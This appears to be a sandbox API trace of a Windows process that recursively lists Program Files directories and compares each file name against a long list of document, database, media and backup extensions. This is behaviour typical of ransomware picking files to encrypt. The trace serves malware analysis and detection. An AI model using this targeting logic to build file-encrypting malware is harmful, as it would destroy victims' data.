	[0257.639] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.639] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1
	[0257.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.639] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.639] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1
	[0257.640] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.640] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.640] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0
	[0257.640] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.640] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.640] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0257.640] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.640] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0257.640] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1
	[0257.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.643] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.643] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
	[0257.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.647] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.647] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1
	[0257.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.656] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.656] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0257.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.657] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.657] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1
	[0257.657] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.657] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0257.657] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0257.657] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.657] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.657] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1
	[0257.658] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.658] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.658] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0257.658] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.658] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0257.658] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0
	[0257.658] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.658] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0257.659] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0
	[0257.659] FindClose (in: hFindFile=0x41b2090 | out: hFindFile=0x41b2090) returned 1
	[0257.659] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0257.659] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1
	[0257.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2090
	[0257.667] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.667] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1
	[0257.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0257.667] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.667] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1
	[0257.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.682] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.682] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0257.682] lstrlenW (lpString="Microsoft.Synchronization.Data.dll") returned 34
	[0257.682] lstrlenW (lpString=".1cd") returned 4
	[0257.682] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0257.682] lstrlenW (lpString=".3ds") returned 4
	[0257.682] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0257.683] lstrlenW (lpString=".3fr") returned 4
	[0257.683] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0257.683] lstrlenW (lpString=".3g2") returned 4
	[0257.683] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0257.683] lstrlenW (lpString=".3gp") returned 4
	[0257.683] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0257.683] lstrlenW (lpString=".7z") returned 3
	[0257.683] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0257.683] lstrlenW (lpString=".accda") returned 6
	[0257.683] lstrcmpiW (lpString1=".accda", lpString2="ta.dll") returned -1
	[0257.683] lstrlenW (lpString=".accdb") returned 6
	[0257.683] lstrcmpiW (lpString1=".accdb", lpString2="ta.dll") returned -1
	[0257.683] lstrlenW (lpString=".accdc") returned 6
	[0257.683] lstrcmpiW (lpString1=".accdc", lpString2="ta.dll") returned -1
	[0257.683] lstrlenW (lpString=".accde") returned 6
	[0257.683] lstrcmpiW (lpString1=".accde", lpString2="ta.dll") returned -1
	[0257.683] lstrlenW (lpString=".accdt") returned 6
	[0257.683] lstrcmpiW (lpString1=".accdt", lpString2="ta.dll") returned -1
	[0257.683] lstrlenW (lpString=".accdw") returned 6
	[0257.683] lstrcmpiW (lpString1=".accdw", lpString2="ta.dll") returned -1
	[0257.683] lstrlenW (lpString=".adb") returned 4
	[0257.683] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0257.683] lstrlenW (lpString=".adp") returned 4
	[0257.683] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0257.683] lstrlenW (lpString=".ai") returned 3
	[0257.683] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0257.683] lstrlenW (lpString=".ai3") returned 4
	[0257.683] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0257.683] lstrlenW (lpString=".ai4") returned 4
	[0257.683] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0257.683] lstrlenW (lpString=".ai5") returned 4
	[0257.683] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".ai6") returned 4
	[0257.684] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".ai7") returned 4
	[0257.684] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".ai8") returned 4
	[0257.684] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".anim") returned 5
	[0257.684] lstrcmpiW (lpString1=".anim", lpString2="a.dll") returned -1
	[0257.684] lstrlenW (lpString=".arw") returned 4
	[0257.684] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".as") returned 3
	[0257.684] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0257.684] lstrlenW (lpString=".asa") returned 4
	[0257.684] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".asc") returned 4
	[0257.684] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".ascx") returned 5
	[0257.684] lstrcmpiW (lpString1=".ascx", lpString2="a.dll") returned -1
	[0257.684] lstrlenW (lpString=".asm") returned 4
	[0257.684] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".asmx") returned 5
	[0257.684] lstrcmpiW (lpString1=".asmx", lpString2="a.dll") returned -1
	[0257.684] lstrlenW (lpString=".asp") returned 4
	[0257.684] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".aspx") returned 5
	[0257.684] lstrcmpiW (lpString1=".aspx", lpString2="a.dll") returned -1
	[0257.684] lstrlenW (lpString=".asr") returned 4
	[0257.684] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".asx") returned 4
	[0257.684] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".avi") returned 4
	[0257.684] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0257.684] lstrlenW (lpString=".avs") returned 4
	[0257.684] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".backup") returned 7
	[0257.685] lstrcmpiW (lpString1=".backup", lpString2="ata.dll") returned -1
	[0257.685] lstrlenW (lpString=".bak") returned 4
	[0257.685] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".bay") returned 4
	[0257.685] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0257.685] lstrlenW (lpString=".bd") returned 3
	[0257.685] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
